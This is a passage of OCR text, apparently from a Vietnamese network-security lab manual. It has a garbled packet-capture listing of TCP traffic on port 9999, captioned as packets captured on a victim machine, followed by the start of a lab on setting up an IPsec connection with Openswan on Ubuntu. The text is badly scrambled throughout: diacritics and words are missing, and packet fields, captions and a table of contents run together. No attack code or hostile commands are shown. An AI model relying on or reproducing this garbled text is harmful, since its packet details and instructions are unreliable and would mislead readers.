192.168.36.162 192.168.36.155 ~ Destìnation TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP 8 0 0 5 6 6 9999 49351 49351 99 99 99 49351 9999 49351 9999 99 99 99 49351 9999 99 99 99 49351 9999 -> -> 49 35 49 35 ■* -> 49 35 49 35 -* 49 35 49 35 ■+ [P S Hj [P [P S [A C [P S [A C [P S [p s [A C [P S [A C ACK] Seq=73 Ack=77 win=502 Len=4 [TCP segment of a reassembled o PDU] ACK] Seq=77 Ack=77 Win=255 Len=4 [TCP reassembled f PDU] segment a ACK] Seq=77 Ack=81 win=502 Len=4 [TCP o reassembled segmentAck=81 win=255 Len=0 f PDU] Seq-81 ACK] Seq=81 Ack=81 win=255 Len=4 [TCP o reassembled segmentAck=85 win=502 Len=0 f PDU] Seq=81 ACK] Seq=81 Ack=85 Win=502 Len=4 [TCP o reassembled segment f PDU] ACK] Seq=85 Ack=85 Win=255 Len=4 [TCP o reassembled segmentAck=89 Hin=502 Len=0 f PDU] Seq-85 ACK] Seq=85 Ack=89 win=502 Len=4 [TCP o reassembled segmentAck=89 win=255 Len=0 f PDU] Seq=89 Protocol Lengtti Infb Hình 119 Gói tin bắt bị công máy nạn nhân ... nhân 62 LAB : THIẾT LẬP IPSEC CONNECTION DÙNG OPENSWAN Mục đích Tạo lập kênh an tồn IPsec hai máy tính sử dụng Openswan Bắt liệu để kiểm tra Chuẩn bị Tên Hệ điều hành IP User Máy cục Ubuntu...Mục lục LAB : THIẾT LẬP IPSEC CONNECTION DÙNG OPENSWAN Mục đích .8 Chuẩn bị .8 Thực Bước 1: Download openswan giải nén cài đặt ... root@ubuntu:/hopie/labl/Downloads# Ls Openswan- master Openswan- master.tar.gz rootgubuntu: /hopie/labl/Downloads# I Hình Download openswan giải nén Cài đặt openswan root@ubuntu:/horie/labl/Downloads#